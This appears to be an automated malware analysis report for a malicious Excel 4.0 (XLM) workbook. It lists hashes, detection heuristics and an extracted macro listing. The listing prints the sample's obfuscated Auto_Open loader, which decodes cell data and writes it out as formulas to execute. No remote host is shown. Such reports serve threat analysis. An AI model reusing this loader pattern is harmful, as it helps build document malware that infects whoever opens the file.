Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 410e2cb45bd58234…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:04 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 979c51c79b61b2232f6b27374768544e SHA-1: a9c0696f6e22276b9997a8d7834cf3a6834bfb1d SHA-256: 410e2cb45bd58234b5626ead2f5277220628236ad002a16910ce2f6656210deb
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6622 bytes
SHA-256: 9c69545c9ee8e0cb8ac68cb56ec9ecb3ee59d4ac8a468f327ab17f35ad9be50e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ISAkLdV
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G166 
' 0018     25 LABEL : Cell Value, String Constant - BViJwyCXtz len=0 
' 0018     25 LABEL : Cell Value, String Constant - CSjWiNlAvy len=0 
' 0018     27 LABEL : Cell Value, String Constant - DSrkvfOpeHEr len=0 
' 0018     20 LABEL : Cell Value, String Constant - DtkVd len=0 
' 0018     27 LABEL : Cell Value, String Constant - fKrUwBwzbGHO len=0 
' 0018     26 LABEL : Cell Value, String Constant - fRtGvIExbsz len=0 
' 0018     25 LABEL : Cell Value, String Constant - FxotTMFtvl len=0 
' 0018     22 LABEL : Cell Value, String Constant - gHnSHfh len=0 
' 0018     27 LABEL : Cell Value, String Constant - gNnptpWAQCMr len=0 
' 0018     20 LABEL : Cell Value, String Constant - GRCTh len=0 
' 0018     24 LABEL : Cell Value, String Constant - KdGnVqpCn len=0 
' 0018     27 LABEL : Cell Value, String Constant - KpntRPkVCepR len=0 
' 0018     20 LABEL : Cell Value, String Constant - lcXIm len=0 
' 0018     25 LABEL : Cell Value, String Constant - nvMBFuuqRN len=0 
' 0018     26 LABEL : Cell Value, String Constant - PftMaRBlnrl len=0 
' 0018     20 LABEL : Cell Value, String Constant - PJayW len=0 
' 0018     20 LABEL : Cell Value, String Constant - qvEFf len=0 
' 0018     26 LABEL : Cell Value, String Constant - QWaGgiMKuHV len=0 
' 0018     27 LABEL : Cell Value, String Constant - uKEzyrFCuBEv len=0 
' 0018     25 LABEL : Cell Value, String Constant - yUewlvvIKv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ISAkLdV,G71,"SET.NAME("KdGnVqpCn",VALUE("0"))",""
'  ISAkLdV,G75,"SET.NAME("yUewlvvIKv",KdGnVqpCn)",""
'  ISAkLdV,G80,"SET.NAME("PJayW",KdGnVqpCn)",""
'  ISAkLdV,G83,"SET.NAME("CSjWiNlAvy",COUNTA(fKrUwBwzbGHO))",""
'  ISAkLdV,G85,"SET.NAME("PftMaRBlnrl",COUNTA(DSrkvfOpeHEr))",""
'  ISAkLdV,G89,[],""
'  ISAkLdV,G92,"SET.NAME("fRtGvIExbsz","")",""
'  ISAkLdV,G96,"yUewlvvIKv",""
'  ISAkLdV,G98,"SET.NAME("GRCTh",HLOOKUP("*",fKrUwBwzbGHO,yUewlvvIKv,FALSE))",""
'  ISAkLdV,G102,"BViJwyCXtz",""
'  ISAkLdV,G107,"SET.NAME("KpntRPkVCepR",KdGnVqpCn)",""
'  ISAkLdV,G109,[],""
'  ISAkLdV,G111,"KpntRPkVCepR",""
'  ISAkLdV,G116,"lcXIm",""
'  ISAkLdV,G120,"DtkVd",""
'  ISAkLdV,G125,"QWaGgiMKuHV",""
'  ISAkLdV,G128,"SET.NAME("nvMBFuuqRN",VALUE(HLOOKUP("*",DSrkvfOpeHEr,QWaGgiMKuHV,FALSE)))",""
'  ISAkLdV,G130,"uKEzyrFCuBEv",""
'  ISAkLdV,G135,"fRtGvIExbsz",""
'  ISAkLdV,G140,"PJayW",""
'  ISAkLdV,G145,NEXT(),""
'  ISAkLdV,G149,"qvEFf",""
'  ISAkLdV,G151,"SET.NAME("f",INT(T(FORMULA(T(fRtGvIExbsz)&"",""&T(qvEFf)))))",""
'  ISAkLdV,G154,"FxotTMFtvl",""
'  ISAkLdV,G159,NEXT(),""
'  ISAkLdV,G162,RETURN(),""
'  ISAkLdV,G197,"SET.NAME("gNnptpWAQCMr",G71)",""
'  ISAkLdV,G199,"fKrUwBwzbGHO",""
'  ISAkLdV,G203,"SET.NAME("DSrkvfOpeHEr",R84C14)",""
'  ISAkLdV,G206,"SET.NAME("FxotTMFtvl",217)",""
'  ISAkLdV,G211,"SET.NAME("gHnSHfh",7)",""
'  ISAkLdV,G216,gNnptpWAQCMr(),""
'  ISAkLdV,G217,HALT(),""

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